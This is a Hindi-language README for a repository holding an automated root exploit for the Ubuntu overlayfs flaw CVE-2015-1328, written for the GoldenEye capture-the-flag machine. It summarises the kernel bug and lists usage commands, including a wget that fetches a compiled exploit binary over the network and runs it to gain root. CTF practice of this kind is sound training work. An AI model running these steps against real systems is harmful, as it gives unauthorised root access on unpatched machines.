
CVE-2015-1328 के लिए स्वचालित स्थानीय विशेषाधिकार वृद्धि शोषण जो Ubuntu overlayfs को लक्षित करता है, सरल bash परिनियोजन स्क्रिप्ट के साथ CTF वातावरण के लिए डिज़ाइन किया गया है।
Ubuntu 15.04 तक के संस्करणों में linux (उर्फ Linux कर्नेल) पैकेज के 3.19.0-21.21 से पहले के संस्करणों में overlayfs कार्यान्वयन ऊपरी फ़ाइल सिस्टम निर्देशिका में फ़ाइल निर्माण के लिए अनुमतियों की सही जाँच नहीं करता है, जिससे स्थानीय उपयोगकर्ता उस कॉन्फ़िगरेशन का लाभ उठाकर रूट एक्सेस प्राप्त कर सकते हैं जिसमें overlayfs को एक मनमाना माउंट नेमस्पेस में अनुमति दी गई है।
रीबल को धन्यवाद
यह CVE-2015-1328 के लिए GoldenEye CTF (TryHackMe से) का एक स्वचालित शोषण है। डिफ़ॉल्ट रूप से, उस मशीन में gcc उपलब्ध नहीं है, इसलिए मैंने gcc को cc में कॉन्फ़िगर किया और तदनुसार रूट विशेषाधिकार प्राप्त करने के लिए शोषण चलाया।
स्थापना
बस, इस रिपॉजिटरी को क्लोन करें -
$ git clone https://github.com/elit3pwner/CVE-2015-1328-GoldenEye.git
$ cd CVE-2015-1328-GoldenEye
$ chmod +x exploit.sh
$ bash exploit.sh
$ wget http://<target ip>:6969/exploit
$ chmod +x exploit
$ ./exploit